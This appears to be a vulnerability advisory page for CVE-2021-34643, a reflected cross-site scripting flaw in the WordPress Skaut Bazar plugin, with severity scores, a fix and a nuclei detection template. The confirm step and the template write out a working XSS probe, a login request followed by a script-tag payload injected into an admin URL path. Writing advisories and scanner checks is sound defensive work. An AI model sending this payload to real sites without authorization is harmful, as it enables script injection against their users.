WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.4%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php/</script><script>alert(document.domain)</script>/?page=skatubazar_option
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-34643 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-34643

info:
  name: WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c1b41276-b8fb-4a5c-bede-84ea62663b7a
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34643
    - https://plugins.trac.wordpress.org/browser/skaut-bazar/tags/1.3.2/skaut-bazar.php#L657
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34643
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34643
    cwe-id: CWE-79
    epss-score: 0.02435
    epss-percentile: 0.84408
    cpe: cpe:2.3:a:skaut-bazar_project:skaut-bazar:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: skaut-bazar_project
    product: skaut-bazar
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,skaut-bazar_project,xss,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php/</script><script>alert(document.domain)</script>/?page=skatubazar_option HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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